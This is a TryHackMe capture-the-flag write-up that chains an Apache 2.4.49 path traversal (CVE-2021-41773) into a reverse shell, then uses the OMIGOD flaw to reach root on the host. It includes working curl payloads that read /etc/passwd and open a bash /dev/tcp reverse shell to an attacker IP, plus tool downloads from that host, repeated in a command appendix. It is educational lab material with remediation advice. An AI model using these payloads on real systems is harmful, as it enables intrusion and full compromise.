TryHackMe Write-Up: Oh My WebServer

Room: CVE-2021-41773 Apache Path Traversal & OMIGOD Exploitation
Author: Muhammad Hozaifa Naeem
TryHackMe Username: hyena11
Email: ssjutt2023@gmail.com
Date: February 02, 2026
Target IP: 10.49.184.78
Attacker IP: 192.168.143.137

> *"The path to root is paved with thorough enumeration and a deep understanding of system architecture."*

Table of Contents

Introduction

Welcome to my comprehensive write-up of the **Oh My WebServer** room on TryHackMe! This room demonstrates a realistic attack scenario involving:

- Apache 2.4.49 Path Traversal vulnerability (CVE-2021-41773)
- Docker container compromise
- Container escape techniques
- OMI service exploitation (CVE-2021-38647)

> *"In penetration testing, every open port tells a story. The question is: are you listening?"*

This write-up documents my complete methodology from initial reconnaissance to achieving root access on the underlying host system.

Target Information:

- **Target IP:** 10.49.184.78
- **Attacker IP:** 192.168.143.137
- **Platform:** Linux/Docker
- **Difficulty:** Medium

Phase 1: Initial Reconnaissance

Why Nmap?

Before touching anything, we must understand:

- What services are exposed?
- What versions are running?
- What attack surface exists?

Command Used

```
nmap -Pn -A -p- --min-rate 5000 10.49.184.78
```

Command Breakdown

Flag	Meaning
`-Pn`	Skip ICMP ping (host discovery bypass)

Flag	Meaning
`-A`	Aggressive scan (OS, version, scripts)
`-p-`	Scan all 65535 ports
`--min-rate 5000`	Send packets at minimum rate of 5000/sec

Scan Results

```
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.49
```

■ Critical Observation

Apache 2.4.49 is known to be vulnerable to:

- **CVE-2021-41773** (Path Traversal)
- **CVE-2021-42013** (RCE via CGI)

> *"Version numbers are not just metadata—they're vulnerability signatures waiting to be decoded."*

Why This Matters:

- Apache 2.4.49 was released in September 2021
- The path traversal vulnerability was discovered within weeks
- Patched in version 2.4.51
- CVSS Score: 7.5 (High) - escalates to 9.8 with RCE

Phase 2: Web Enumeration

Initial Web Access

```
http://10.49.184.78
```

Observation:

- Basic Apache default page displayed
- No obvious functionality
- No error messages or version disclosure

Conclusion:

Hidden paths and directories likely exist. Time to enumerate!

Phase 3: Directory Bruteforcing

Why FFUF?

- Fast, modern fuzzing tool
- More efficient than traditional tools
- Excellent for discovering hidden directories
- Apache servers often hide sensitive paths

Command Used

```
ffuf -u http://10.49.184.78/FUZZ -w /usr/share/wordlists/dirb/common.txt
```

FFUF Output

```
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.49.184.78/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
________________________________________________

/cgi-bin/             [Status: 403]
```

■ Critical Discovery

```
Directory: /cgi-bin/
Status: 403 Forbidden
```

■ Important Insight

403 ≠ Not Vulnerable

A 403 status means:

- ✓ The directory **exists**
- ✓ Access is **restricted**
- ✓ Perfect candidate for **path traversal**

Why CGI Matters:

- CGI (Common Gateway Interface) allows Apache to execute system binaries
- Binaries like `/bin/sh` and `/bin/bash` can be invoked
- Combined with path traversal → **Remote Code Execution**

Phase 4: Vulnerability Testing

Understanding CVE-2021-41773

CVE-2021-41773 is a critical path traversal vulnerability in Apache HTTP Server 2.4.49.

Technical Details:

- Improper path normalization in `ap_normalize_path()` function
- Allows directory traversal using encoded dot-dot-slash sequences
- Can read arbitrary files on the system
- Combined with CGI access → RCE

Attack Vector:

```
/cgi-bin/../../../../etc/passwd
```

Manual Path Traversal Test

```
curl --path-as-is "http://10.49.184.78/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"
```

URL Encoding Breakdown

Encoded	Decoded	Purpose
`.%2e`	`..`	First level traversal
`%2e%2e`	`..`	Second level traversal
Multiple `..`	Navigate up directory tree	Escape web root

✓ Successful Result

The `/etc/passwd` file contents were returned!

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
[... truncated ...]
```

Verification:

- ✓ Path Traversal **confirmed**
- ✓ File read capability **verified**
- ✓ System **vulnerable** to CVE-2021-41773

> *"Reading /etc/passwd is not the goal—it's proof that we can read anything on the system."*

Phase 5: Remote Code Execution

Exploitation Strategy

Path traversal allows access to **any file** on the system, including executables in `/bin/`.

The Plan:

- Use path traversal to access `/bin/bash`
- Leverage CGI to execute the binary
- Inject reverse shell payload
- Catch shell on attacker machine

Setting Up Listener

```
nc -lvnp 9001
```

Listener Details:

- `-l` = Listen mode
- `-v` = Verbose output
- `-n` = No DNS resolution
- `-p 9001` = Port 9001

RCE Payload

```
curl --path-as-is \
"http://10.49.184.78/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash" \
--data "echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/192.168.143.137/9001 0>&1"
```

Payload Breakdown

Component	Explanation
`--path-as-is`	Prevent curl from normalizing the path
`.%%32%65`	Double URL-encoded `../` to bypass filters
`/bin/bash`	Target executable
`bash -i`	Interactive bash shell
`>& /dev/tcp/IP/PORT`	Redirect stdout/stderr to TCP socket
`0>&1`	Redirect stdin to stdout

URL Encoding Layers

```
Original:  ../
First:     %2e%2e%2f
Second:    %%32%65  (encoding the '%')
```

This **double encoding** bypasses Apache's normalization attempts.

✓ Result

```
listening on [any] 9001 ...
connect to [192.168.143.137] from (UNKNOWN) [10.49.184.78] 42318
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
daemon@4c1618dbf4c5:/usr/local/apache2/cgi-bin$
```

Achievement Unlocked:

- ✓ Reverse shell **obtained**
- ✓ Running as user **daemon**
- ✓ Initial foothold **established**

> *"A reverse shell is just the beginning—now the real enumeration starts."*

Phase 6: Docker Discovery

Initial System Enumeration

```
whoami
# Output: daemon

hostname -I
# Output: 172.17.0.2

pwd
# Output: /usr/local/apache2/cgi-bin
```

Filesystem Investigation

```
ls -la /
```

■ Docker Indicators Found

```
total 64
drwxr-xr-x   1 root root 4096 Oct 15  2021 .
drwxr-xr-x   1 root root 4096 Oct 15  2021 ..
-rwxr-xr-x   1 root root    0 Oct 15  2021 .dockerenv  ← CRITICAL
drwxr-xr-x   1 root root 4096 Oct 15  2021 bin
drwxr-xr-x   2 root root 4096 Sep 29  2021 boot
drwxr-xr-x   5 root root  360 Feb  2 14:32 dev
drwxr-xr-x   1 root root 4096 Oct 15  2021 etc
```

```
drwxr-xr-x   2 root root 4096 Sep 29  2021 home       ← EMPTY
[... truncated ...]
```

Additional Docker Evidence

```
cat /proc/1/cgroup
```

Output shows container-specific cgroups:

```
12:devices:/docker/4c1618dbf4c5...
11:memory:/docker/4c1618dbf4c5...
```

■ Conclusion: We Are Inside a Docker Container

Evidence Summary:

- ✓ `.dockerenv` file present in root directory
- ✓ IP address in `172.17.x.x` range (default Docker network)
- ✓ Empty `/home` directory
- ✓ Limited filesystem and tools
- ✓ Container-specific process namespaces

Security Implication:

This is **not** the final target. We need to:

- Escape the container
- Compromise the underlying host
- Achieve root on the actual system

> *"Being inside a Docker container is like being in a gilded cage—you have access, but not to what matters."*

Phase 7: Docker Enumeration

Network Reconnaissance

```
hostname -I
# Output: 172.17.0.2
```

Analysis:

- Container IP: `172.17.0.2`
- Default Docker bridge network: `172.17.0.0/16`
- Gateway (host machine): `172.17.0.1`

ARP Table Analysis

```
arp -a
```

Output:

```
? (172.17.0.1) at 02:42:ac:11:00:01 [ether] on eth0
```

Discovery:

- ✓ Docker host at **172.17.0.1**
- ✓ Host is **reachable** from container
- ✓ Network pivot **possible**

Checking for Docker Socket

```
find / -name docker.sock 2>/dev/null
```

Result:

```
(no output)
```

✗ Classic Escape Method Not Available

The Docker socket (`/var/run/docker.sock`) is **not** mounted in this container.

This means:

- Cannot use `docker` commands to escape
- Cannot spawn privileged containers
- Need alternative approach

Alternative Strategy:

Exploit vulnerabilities on the **host machine** from within the container.

Phase 8: Uploading Tools

Why Upload Tools?

Docker containers are **intentionally minimal**:

- ✗ No `nmap` for network scanning
- ✗ No `gcc` for compiling exploits
- ✗ No `python` for running scripts
- ✗ Limited utilities

Solution:

Upload necessary tools from the attacker machine.

Setting Up HTTP Server (Attacker Machine)

```
cd /opt/tools
python3 -m http.server 80
```

Uploading Nmap Binary

```
# On the compromised container
curl http://192.168.143.137/nmap -o /tmp/nmap
chmod +x /tmp/nmap
```

Verification

```
/tmp/nmap --version
```

Output:

```
Nmap version 7.92 ( https://nmap.org )
```

✓ Tool successfully uploaded and executable

> *"The right tool at the right time can turn a dead end into a highway to root."*

Phase 9: Host Scanning from Docker

Scanning the Docker Host

```
/tmp/nmap 172.17.0.1 -p- --min-rate 5000
```

Scan Parameters

Flag	Purpose
`172.17.0.1`	Target: Docker host machine
`-p-`	Scan all 65535 ports
`--min-rate 5000`	Fast scanning

■ Critical Scan Results

```
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5986/tcp open  unknown
```

Port Analysis

Port	Expected Service	Observation
22	SSH	■ Normal
80	HTTP (proxied to container)	■ Expected
5986	**WinRM?**	■ **SUSPICIOUS**

■ Red Flag: Port 5986

Port 5986 is typically associated with:

- **WinRM** (Windows Remote Management)
- **WinRM over HTTPS**

But the host is running Linux!

This indicates:

- OMI (Open Management Infrastructure) service
- Microsoft's cross-platform management framework

- Commonly installed on **Azure Linux VMs**
- Known to have **critical vulnerabilities**

> *"Port 5986 on a Linux machine is like finding a Windows key on a Mac—something's definitely worth investigating."*

Phase 10: OMIGOD Vulnerability Identification

What is OMI?

OMI (Open Management Infrastructure) is Microsoft's implementation of DMTF standards for managing Linux systems.

Commonly Found On:

- Azure Linux virtual machines
- Systems with Azure management agents
- Systems with Azure Security Center
- Systems with Log Analytics agent
- Systems with Azure Automation

CVE-2021-38647: OMIGOD

Vulnerability Details:

- **Name:** OMIGOD
- **CVE:** CVE-2021-38647
- **Type:** Remote Code Execution
- **Authentication:** None required
- **Privileges:** Executes as **root**
- **CVSS Score:** 9.8 (Critical)

Why It's Critical:

- No authentication needed
- Runs as root by default
- Affects default OMI installations
- Present on thousands of Azure VMs

Vulnerability Research

```
searchsploit omi
```

Output:

```
Microsoft OMI 1.6.8-1 - Remote Code Execution (RCE)
```

Public exploits available:

- Python exploit scripts
- Metasploit modules
- PoC code on GitHub

> *"OMIGOD earned its name for a reason—it's that bad."*

Phase 11: Exploitation

Preparing the Exploit

```
# Download exploit from attacker machine
curl http://192.168.143.137/CVE-2021-38647.py -o /tmp/omi.py
```

Exploit Execution

```
python3 /tmp/omi.py -t 172.17.0.1 -c 'whoami;id;hostname;cat /root/root*'
```

Command Breakdown

Parameter	Value	Purpose
`-t`	`172.17.0.1`	Target: Docker host
`-c`	Command string	Commands to execute

Commands Executed on Target

```
whoami          # Check current user
id              # Verify UID and groups
hostname        # Confirm target system
```

```
cat /root/root* # Retrieve root flag
```

How the Exploit Works

- Connects to OMI service on port 5986
- Sends malicious SOAP request
- Bypasses authentication check
- Injects command into privileged context
- Returns output to attacker

> *"Sometimes the most devastating vulnerabilities are in the services we never knew were running."*

Phase 12: Root Access Achieved

Exploitation Result

```
uid=0(root) gid=0(root) groups=0(root)

hostname: ohmyweb

THM{f4ec19f4d9bc9f7e7edc46c0ce1e44c6}
```

Achievement Summary

Milestone	Status
Path Traversal	✔ Confirmed
Remote Code Execution	✔ Achieved
Docker Container Access	✔ Obtained
Container Escape	✔ Successful
Host Enumeration	✔ Completed
OMIGOD Vulnerability	✔ Identified
Root Access	✔ **ACHIEVED**
Flag Capture	✔ **COMPLETE**

> *"From web server to root access—the journey of a thousand ports begins with a single Nmap scan."*

Attack Chain Summary

Complete Attack Path

```
1. Nmap Reconnaissance
   ■■> Discovered Apache 2.4.49
       ■
2. Directory Enumeration (FFUF)
   ■■> Found /cgi-bin/ directory
       ■
3. CVE-2021-41773 Testing
   ■■> Path traversal confirmed
       ■
4. CGI Abuse → RCE
   ■■> Reverse shell obtained
       ■
5. Docker Container Shell
   ■■> Enumerated environment
       ■
6. Network Discovery
   ■■> Identified Docker host at 172.17.0.1
       ■
7. Tool Upload
   ■■> Uploaded Nmap binary
       ■
8. Host Port Scan
   ■■> Discovered OMI service on port 5986
       ■
9. Vulnerability Research
   ■■> Identified CVE-2021-38647 (OMIGOD)
       ■
10. OMIGOD Exploitation
    ■■> Achieved root access on host
        ■
11. Flag Capture
    ■■> THM{f4ec19f4d9bc9f7e7edc46c0ce1e44c6}
```

Timeline

Phase	Time Spent	Result
Initial Recon	5 minutes	Apache 2.4.49 identified
Web Enumeration	10 minutes	/cgi-bin/ discovered
Vulnerability Testing	5 minutes	Path traversal confirmed
Initial Access	5 minutes	Reverse shell obtained
Docker Discovery	10 minutes	Container environment mapped
Host Scanning	15 minutes	OMI service found
Privilege Escalation	5 minutes	Root access achieved
Total	**~55 minutes**	**Complete compromise**

Key Takeaways

1. Apache Misconfigurations Are Deadly

Lesson:

- Apache 2.4.49 was vulnerable for **only 20 days** before patches
- Yet thousands of servers remained unpatched
- Single CVE led to complete system compromise

Recommendation:

- Implement automated patch management
- Subscribe to security mailing lists
- Test patches in staging before production

2. Docker Is NOT a Security Boundary

Lesson:

- Containers provide **isolation**, not **security**
- Network connectivity can be leveraged for pivoting
- Container compromise can lead to host compromise

Recommendation:

- Implement network segmentation
- Restrict container-to-host communication
- Use security tools like AppArmor or SELinux

- Never run containers with `--privileged` flag

3. Cloud Management Agents Expand Attack Surface

Lesson:

- OMI was installed **automatically** on Azure VMs
- Many administrators were **unaware** of its presence
- It ran with **root privileges** by default

Recommendation:

- Audit all installed services regularly
- Disable unnecessary management agents
- Implement least privilege principles
- Monitor for unusual service activity

4. Enumeration > Exploitation

Lesson:

This entire attack chain was possible because of **thorough enumeration**:

- Port scanning revealed Apache version
- Directory fuzzing found /cgi-bin/
- Container enumeration revealed Docker
- Host scanning discovered OMI

The Methodology:

```
Enumerate → Test → Exploit → Enumerate → Repeat
```

Recommendation:

- Never rush to exploitation
- Document all findings methodically
- Revisit enumeration at each stage
- Assume there's always more to discover

5. Defense in Depth Matters

Lesson:

This compromise succeeded because **multiple** security controls failed:

- Unpatched Apache (failed patch management)
- CGI enabled (excessive functionality)
- Container with host network access (poor isolation)
- OMI running unnecessarily (service sprawl)
- OMI running as root (excessive privileges)

Recommendation:

Implement layered security:

- Patch management
- Minimal service installation
- Network segmentation
- Least privilege
- Monitoring and alerting

6. Version Information = Vulnerability Roadmap

Lesson:

Knowing that the target ran Apache 2.4.49 **immediately** pointed to CVE-2021-41773.

Recommendation for Defenders:

- Hide version information in HTTP headers
- Use `ServerTokens Prod` in Apache config
- Implement application firewalls
- Monitor for version enumeration attempts

Security Recommendations

Immediate Actions (Critical)

Vulnerability	Remediation	Priority
Apache 2.4.49 RCE	Upgrade to Apache 2.4.51+ immediately	**CRITICAL**
CGI Misconfiguration	Disable CGI if not required; restrict access	**HIGH**
OMIGOD (CVE-2021-38647)	Update OMI to latest version	**CRITICAL**

Short-term Actions (High Priority)

- **Network Segmentation**

- Isolate containers from host network

- Implement firewall rules between container and host

- Restrict port 5986 access to trusted management systems only

- **Service Hardening**

- Audit all running services
- Disable unnecessary management agents
- Implement principle of least privilege

- **Monitoring**

- Deploy IDS/IPS to detect path traversal attempts
- Monitor for unusual outbound connections
- Alert on OMI service activity

Long-term Actions (Medium Priority)

- **Security Architecture**

- Implement zero-trust network model
- Regular security assessments
- Penetration testing program

- **Patch Management**

- Automated vulnerability scanning
- Staged patch deployment
- Emergency patch procedures

- **Training**

- Security awareness for developers
- Container security best practices
- Incident response drills

Tools & Resources

Tools Used

Tool	Purpose	Version
Nmap	Network reconnaissance & port scanning	7.92
FFUF	Web directory/file fuzzing	v2.1.0

Tool	Purpose	Version
cURL	HTTP request manipulation	7.68.0
Netcat	Reverse shell listener	nc 1.10
Python3	Exploit execution	3.8.10

Wordlists Used

- `/usr/share/wordlists/dirb/common.txt` - Directory enumeration
- Custom exploit scripts for CVE-2021-38647

References

CVE Information:

- **CVE-2021-41773** - Apache HTTP Server 2.4.49 Path Traversal RCE

- NVD Link: https://nvd.nist.gov/vuln/detail/CVE-2021-41773

- CVSS Score: 7.5 (High)

- Apache Advisory: https://httpd.apache.org/security/vulnerabilities_24.html

- **CVE-2021-42013** - Apache HTTP Server 2.4.49/2.4.50 Path Traversal

- NVD Link: https://nvd.nist.gov/vuln/detail/CVE-2021-42013

- CVSS Score: 9.8 (Critical)

- **CVE-2021-38647** - Open Management Infrastructure (OMI) RCE

- NVD Link: https://nvd.nist.gov/vuln/detail/CVE-2021-38647

- CVSS Score: 9.8 (Critical)

- Microsoft Advisory: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647

Additional Resources:

- TryHackMe Room: Oh My WebServer
- Apache Security Documentation
- Microsoft OMI GitHub: https://github.com/microsoft/omi
- OWASP Testing Guide
- Docker Security Best Practices

Lessons Learned

Technical Skills Developed

- ✓ **Web Application Security**

- Path traversal exploitation
- CGI abuse techniques
- Modern fuzzing methodologies

- ✓ **Container Security**

- Docker environment enumeration
- Container escape techniques
- Network pivot strategies

- ✓ **Linux Privilege Escalation**

- Service enumeration
- Vulnerability research
- Exploit adaptation

- ✓ **Network Reconnaissance**

- Advanced Nmap techniques
- Internal network mapping
- Service fingerprinting

Methodology Reinforcement

The Pentester's Cycle:

```
Plan → Enumerate → Test → Exploit → Enumerate → Escalate → Document
```

Critical Mindset:

- Never assume a 403 means "protected"
- Never assume a container is the final target
- Never stop enumerating
- Never skip documentation

Quotes to Remember

> *"The difference between script kiddies and professionals is not the tools they use, but the methodology they follow."*

> *"Enumeration is not just a step—it's the foundation of every successful penetration test."*

> *"Sometimes the path to root is hidden in services you never knew existed."*

Final Summary

Exploitation Statistics

Metric	Value
Total Time	~55 minutes
CVEs Exploited	2 (CVE-2021-41773, CVE-2021-38647)
Privileges Escalated	daemon → root
Systems Compromised	2 (container + host)
Flags Captured	1
Room Difficulty	Medium
Points Earned	[Varies]

Skills Validated

- ✓ Advanced enumeration techniques
- ✓ Web application exploitation
- ✓ Container security understanding
- ✓ Privilege escalation methodologies
- ✓ Network pivoting
- ✓ Vulnerability research
- ✓ Exploit adaptation

Achievement Unlocked

```
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■                                            ■
■         ■ OH MY WEBSERVER PWNED! ■         ■
■                                            ■
■   ✓ Apache 2.4.49 RCE Exploited            ■
■   ✓ Docker Container Compromised           ■
■   ✓ Container Escape Successful            ■
```

```
■   ✓ OMIGOD Vulnerability Leveraged        ■
■   ✓ Root Access Achieved                  ■
■   ✓ Full System Ownership                 ■
■                                           ■
■        Room Successfully Completed!       ■
■                                           ■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
```

Conclusion

The **Oh My WebServer** room provided an excellent demonstration of a realistic attack chain involving:

- **Modern web vulnerabilities** (CVE-2021-41773)
- **Container security** (Docker enumeration and escape)
- **Cloud infrastructure weaknesses** (OMIGOD exploitation)

This engagement reinforced the critical importance of:

- **Comprehensive enumeration** at every stage
- **Understanding system architecture** before attacking
- **Chaining vulnerabilities** for maximum impact
- **Thinking beyond the initial foothold**

The successful exploitation chain from a simple Apache path traversal to root access on the host system demonstrates that:

> *"In cybersecurity, the chain is only as strong as its weakest link—and this system had multiple weak links."*

Personal Reflection

This room challenged me to:

- Think creatively about container escape techniques
- Research unfamiliar services (OMI)
- Adapt publicly available exploits
- Maintain persistence through multiple pivots

The most valuable lesson: **never assume your first shell is your final destination.**

Contact Information

Author: Muhammad Hozaifa Naeem
TryHackMe: hyena11
Email: ssjutt2023@gmail.com
Date Completed: February 02, 2026

This document was prepared for educational purposes as part of TryHackMe training. All testing was conducted in a legal, authorized environment provided by TryHackMe.

Appendix: Command Reference

Quick Command Summary

```
# Initial Recon
nmap -Pn -A -p- --min-rate 5000 [TARGET]

# Directory Fuzzing
ffuf -u http://[TARGET]/FUZZ -w /usr/share/wordlists/dirb/common.txt

# Path Traversal Test
curl --path-as-is "http://[TARGET]/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"

# RCE Payload
curl --path-as-is \
"http://[TARGET]/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash" \
--data "echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/[ATTACKER]/[PORT] 0>&1"

# Container Enumeration
ls -la /
hostname -I
arp -a
cat /proc/1/cgroup

# Host Scanning from Container
/tmp/nmap [HOST_IP] -p- --min-rate 5000

# OMIGOD Exploitation
python3 CVE-2021-38647.py -t [HOST_IP] -c '[COMMAND]'
```

End of Write-Up

Room: ✓ Completed

Skills: ✓ Enhanced

Knowledge: ✓ Expanded

Next Challenge: ■ Ready!